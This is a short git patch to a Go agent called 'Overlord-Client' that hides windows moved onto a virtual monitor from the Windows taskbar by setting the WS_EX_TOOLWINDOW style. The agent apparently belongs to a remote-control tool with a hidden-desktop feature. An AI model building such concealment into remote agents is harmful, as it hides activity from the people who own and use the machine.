From 26702510eb25b93d0464a410457774e4ea8b04ab Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 12 Jul 2026 15:12:31 -0500 Subject: [PATCH] hide from task bar --- Overlord-Client/cmd/agent/capture/backstage_windows.go | 5 +++++ Overlord-Client/cmd/agent/capture/virtual_windows.go | 6 ++++++ 2 files changed, 11 insertions(+) diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 0f9fd74..61fdf0c 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -49,6 +49,8 @@ var ( procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") procEnumDesktopWindows = user32.NewProc("EnumDesktopWindows") procTerminateProcess = kernel32.NewProc("TerminateProcess") + procGetWindowLongPtrW = user32.NewProc("GetWindowLongPtrW") + procSetWindowLongPtrW = user32.NewProc("SetWindowLongPtrW") ) const ( @@ -144,6 +146,9 @@ const ( SW_SHOWMAXIMIZED = 3 GA_ROOT = 2 SMTO_ABORTIFHUNG = 0x0002 + + GWL_EXSTYLE = -20 + WS_EX_TOOLWINDOW = 0x00000080 ) var ( diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go index bfe577b..9755786 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_windows.go +++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go @@ -851,6 +851,12 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags) hwndMap[hwnd] = visible + gwlExStyle := int(GWL_EXSTYLE) + exStyle, _, _ := procGetWindowLongPtrW.Call(hwnd, uintptr(gwlExStyle)) + if exStyle != 0 { + procSetWindowLongPtrW.Call(hwnd, uintptr(gwlExStyle), exStyle|WS_EX_TOOLWINDOW) + } + log.Printf("virtual: moved window hwnd=0x%x (pid=%d) to virtual monitor (%d,%d)", hwnd, pid, bounds.Min.X, bounds.Min.Y) moved++ break